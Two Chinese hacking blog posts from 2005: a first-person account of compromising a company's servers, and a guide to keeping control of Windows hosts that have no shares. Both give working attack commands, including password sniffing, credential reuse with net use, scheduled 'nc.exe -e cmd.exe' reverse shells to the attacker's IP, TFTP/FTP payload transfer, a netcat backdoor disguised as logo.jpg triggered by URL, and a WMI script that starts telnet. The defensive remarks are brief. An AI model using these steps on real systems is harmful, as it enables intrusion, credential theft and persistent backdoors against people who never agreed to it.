进入后,执行命令:SNIFF <Log_file> (她可以监听 ftp/smtp/pop3/http四种密码经过网卡的 )findpass2003.exe不是还没找到密码吗?这时候,利用MT.EXE –PSKILL命令把它的数据库停掉,偶就不信管理员不来!在WOLLF环境下执行EXIT退出(但是监听程序还是在运行的,如果执行QUIT后,就不监听了),累死偶了,睡觉去了!
一觉醒来,太阳都老高了,睡懒觉可真舒服啊!在倒连上去看看有没有抓到有价值的信息,先输入命令:SNIFF_STOP把监听停下,在利用WOLLF带的GET命令把监听的文件下载下来,哈,收获可真不小如图5所示:


                                   图5
图5所示监听到固若金汤的WEB服务器的一个80端口的用户名和密码,登录上一看,原理是一个会员的!还监听到一台机器的21端口的用户名和密码了和这台机器的25端口的一个MAIL,查看其IP后发现它就是上面利用NET VIEW看到的三台机器中的一台,就叫它“邮件WEB服务器”吧,在外网扫描还发现它开了80端口!看来这台机器有两个作用:一是作为邮件服务器,另一个作用就是开了80端口,上面放了部网站内容,而主要网站的内容则在哪台固若金汤的WEB服务器上(在外网扫描它进,只开了80端口,真够狠!哪台邮件WEB服务器对外网也仅开了21,25,80,110四个端口)先别忙登录啊!可不要忘了哪个findpass2003命令啊!如图6:


                         图6
利用net user username看了一下这个用户是管理员啊!密码设置的很变态字母数字特殊字符都有,管理员一般都有一个习惯,所有机器上的管理员的密码都相同,后来验证,果然如此!
得到用户名和密码后,试图在数据库服务器上对另外两台机器执行命令:net use \\IP\admin$ passwd /user:username 均没有成功!
三、邮件WEB服务器做跳板,直捣黄龙;
FTP登录邮件WEB服务器,还是Serv-U FTP-Server v2.5k,会不会能溢出呢?登录成功后,上传一个海顶2005和NC。EXE上去,再次反向链接如图:7

                                                                                                                                               图7
[NextPage]
 
利用IPC漏洞(在这台机器上对WEB服务器竟然能成功!哈哈)
1.net use \\WEB服务器\admin$ password /user: username
其中sername,password为连接远程主机时提供的用户名与密码
2.copy x:\nc.exe \\WEB服务器\admin$
拷贝NC到WEB服务器上
3.net time \\远程主机名
显示WEB服务器当前的时间假如为09:12
3.at \\WEB服务器 09:14 nc.exe –e cmd.exe  218.***.***.165 99
在09:14分WEB服务器自动NC反向链接偶的机器的99端口。如图8


                                 图8
2分钟过去,终于成功了,终于进入到哪台固若金汤的WEB服务器里面了!成功后界面如图9:

图9
其中在反弹的SHELL中利用XYZCMD。EXE这个工具进行在次登录时,没有成功,也就是SHELL中在出SHELL时没有成功,看来是不支持数据的二交互。图中同现的网址已做处理,如有雷同,纯属巧合。希望本方法对大家有所帮助,不管是攻还是防!!

- 作者: 古典辣M° 2005年05月8日, 星期日 07:06  回复(0) |  引用(0) 加入博采

无共享主机的一些长期控制办法与防范

无共享主机的一些长期控制办法与防范

——上传下载、突破防火墙与后门架设

by:brain_

一、文件的传输:

以下所述方法都是在远程主机没有开启共享的条件下实现的。

1、  打开共享

使用IDQWebDAV等方法对目标进行溢出攻击之后得到system权限,使用net share查看一下共享,发现一个共享都没有打开。没有办法应设对方的硬盘就不方便上传下载文件。

其实最简单的办法就是打开它的共享,

这样,我么就可以映射它的磁盘,实现文件的传输了。

其实要防止这种共享打开是十分简单的,只要网上邻居的属性里面没有添加文件和打印共享就可以实现了。

 

 

2、  使用TFTP工具进行文件传输

使用TFTP(Trivial File Transfer Protocol)工具来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的ttfp.exe和一个TFTP服务端软件构成一个完整的传输结构。

一般在溢出的ShellTelnetShell中使用,当然也可以在SQL Remote Execute 里面实现。在这样那些没有开设共享的实现主机上传下载文件的工作就可以有这个传输模式来完成。

首先运行本地的TFTP Server软件并保证始终开启直至传输全部完成, 然后在Shell中运行下面的命令

C:\winnt\system32>tftp –i 192.168.0.1 get abc.exe 上传文件到Shell目标

C:\winnt\system32>tftp –i 192.168.0.1 put abc.exe 下载文件到本地主机

这里你可以在最后面写上你要传送到的路径。

这里要提到的是,如果使用一个Private IP address 你将不能实现与外部网络的文件传送。因为,你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址。所以在外部网络进行MAC寻址是找不到你这台TFTP服务器的。

想避免这样的传输最直接的办法就是将tftp.exe文件删除,另外你可以使用工具修改列表中的tftp端口号(改为0)。

 

 

3、  使用本地FTP服务进行文件传输

如果你得到一个Shell,是不能直接远程操作FTP命令行的,所以一般来讲我们都要写一个脚本来实现从FTP主机上下载文件或者上传文件。

使用echo命令来写这个脚本并执行它:

C:\winnt\system32>echo open 192.168.0.1 > ftp.txe

C:\ winnt\system32>echo user:pass@192.168.0.1 >>ftp.txt

C:\ winnt\system32>echo get abc.exe >>ftp.txt

C:\ winnt\system32>echo bye >> ftp.txt

C:\ winnt\system32>ftp –s: ftp.txt

 

 

4、  使用TFTP打开目标FTP服务进行文件传输

利用TFTP方法上传一个FTP的后门(例如xftpd.exe,好友Hackerhell推荐),在命令行下面执行它。我们就可以得到一个开设FTP的远程主机。利用浏览器或者是其他工具就可以轻松实现文件的传输。

 

 

二、突破防火墙:

防火墙从外面很难突破,就好像一座森严的壁垒,只有使用一些渗透的手段或者其他的一些方式从内部突破,才能真正达到突破防火墙的目的。

有很多渗透攻击的例子,我不能一一列举,事实上我也曾经成功的测试过一些站点,从80端口的渗透攻击是比较常见的,有的是使用溢出攻击、有的是利用页面程序的缺陷进行攻击。

突破防火墙是从内部开始的,但是也要先找到一些可以渗透的端口才可以。我前一段写了一篇文章是记录一次渗透攻击的。我是利用ASP页面身份验证里的一个漏洞成功拿到了一个页面管理的权限,实现了一些上传的功能,并从80端口对该主机进行渗透并获得最高权限的。

TFTP方法事实上就是一种从内部突破防火墙的方法,由于69端口是系统默认可以使用的TFTP服务端口,所以在Shell中提交一个TFTP传输的申请,防火墙是不会拒绝的。这样,我们就可以将一些有价值的东西传送到我们希望它存在的地方。

80端口突破防火墙是比较常见且比较容易实现的,因为80的访问一般不会被禁止。我曾经做过两次不同的方式但原理相同的突破。使用IDQ溢出得到ShellASP木马上传到WWW服务的某个目录下,然后将IUSR_Computername这一IIS访问进程账号加为管理员组成员。随后我将它的IIS服务重新启动

C:\winnt\system32>iisreset

从新回到浏览器中,打开ASP木马查看net session可以,所以证明刚才我所做的一切都有效果了,这样我就在80端口上建立了一个很高权限(Administrators)的Shell。实现了对防火墙的突破。

另外一次是最近的事情,我使用WebDAV对某一主机进行溢出之后,得到system权限,将IIS访问进程账号加为管理员组,上传nc.exescripts目录下面并将名称改为logo.jpg,呵呵!由于我没有能够重新启动IIS服务,所以只有等待……第二天我看了看,IIS已经重新启动,而nc也还在,真受不了这样的管理员。FAINT!好了,其实后门就已经架设完成了。在本地命令行输入如下:

E:\>nc.exe –l –p 888 –vv  等待一个连接。

在浏览器里面输入如下:

http://192.168.0.1/scripts/logo.jpg?-e+c:\winnt\system32\cmd.exe+192.168.0.3+888

注:192.168.0.3是我的IP地址。

连接成功,我得到的又是admin的权限,看来那为管理员是重新启动了主机……

防范ASP木马的文章很多,我就不再介绍。对于脚本执行权限的问题,我想只要你会配置IIS就应该不会成问题吧!

上面只是针对80端口渗透突破防火墙的一些思路,事实上还有很多可以实现的突破,例如小叮当那个动画里面利用80端口和PCAnyWhere结合进行的渗透就是非常好的例子。

 

 

三、后门的架设:

为了获得远程主机更长时间的控制权,我们需要放置一些后门程序,前面已经有所涉及相信大家也多少有所了解了。但是当没有开启人和共享的时候你要如何放置你的后门程序呢?

大家可能认为,Windows很多服务是基于IPC$的,所以只要关闭该共享,即使得到admin的权限也不会有何作为的,毕竟“没有共享就不能放置后门”。

但是事实并非如此,现在有很多机遇WMI服务的宿主脚本程序,既简单的解决了这样的问题,当然也产生了不少安全的隐患。现在据我所知,有两个vbe的脚本分别可以实现开启远程主机TelnetTerminal Services的功能。我这里只介绍一下开启Telnet服务的宿主脚本的使用:

 

 

这里使用的RTCS.vbe是用来远程开启/关闭目标telnet服务的windows脚本。
特点:不依赖于ipc$开放与否。

原理:直接访问目标的windows管理规范服务(WMI),该服务为系统重要服务,默认启动。

支持平台:Windows 2000 Professional Windows 2000 server
Windows XP
使用方法:

在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如


c:\>cscript RTCS.vbe <
目标IP> <用户名> <密码> 验证方式> >

其中 NTLM 值可取012

0:
不使用 NTLM 身份验证;

1:
先尝试 NTLM 身份验证。如果失败,再使用用户名和密码;

2:
只使用 NTLM 身份验证。

空密码用两个双引号""表示。


脚本自动检查目标telnet服务情况,如果未启动则启动它,相反就关闭。

同一个命令执行两遍,就开/关一次服务。

关闭服务时也必须输入共5个参数,这样可以根据需要还原服务设置为默认值(NTLM=2,端口23

如果telnet服务被禁用,将自动更改为“手动”。




C:\>cscript rtcs.vbe 202.***.***.*** tsinternetuser ************* 0 23

Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。


************************************************************************
RTCS v1.08
Remote Telnet Configure Script, by zzzevazzz
Welcome to visite
www.isgrey.com
Usage:
cscript C:\rtcs.vbe targetIP username password NTLMAuthor telnetport
It will auto change state of target telnet server.
************************************************************************
Conneting 202.***.***.***....
OK!
Setting NTLM=0....
OK!
Setting port=23....
OK!
Querying state of telnet server....
Changeing state....
OK!
Target telnet server has been START Successfully!
Now, you can try: telnet 202.***.***.*** 23, to get a shell.

C:\>telnet 202.***.***.***


Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:tsinternetuser
password:*********


*===============================================================
欢迎使用 Microsoft Telnet 服务器。
*===============================================================
C:\>



成功!
服务端口

 

 

还有一个脚本就是ROTS.vbe是用来开启Terminal services的,我一直没有成功过,所以也不好向大家介绍。

开设后门需要开动脑筋,结合所有自己的技能来实现。比如使用先前提到的上传下载的方式都是可以进行综合利用的,这就要看自己的了……比如突破防火墙里面提到的,我认为也因该算是架设后门的好办法。

上面的三个方面我认为是不可分的,我分开他们是很困难的……所以这篇文章才想了这么久

 

 

后记:

今天有人说,写这篇文章绝对有毛病,都得到Shell了,还要这么麻烦……还有人说,这些防范手段有什么用,人家都已经进来了……

其实,得到了Shell还有许多事情要做,要看看这个Shell可以做什么,尽量避免入侵者得到Shell之后的破坏行为……的发生,没办法,第一道防线已经崩溃,就只好留一手来补救一下了。

 

 

 

 

 

 

 

 

- 作者: ygandlm 2005年05月3日, 星期二 06:34  回复(0) |  引用(0) 加入博采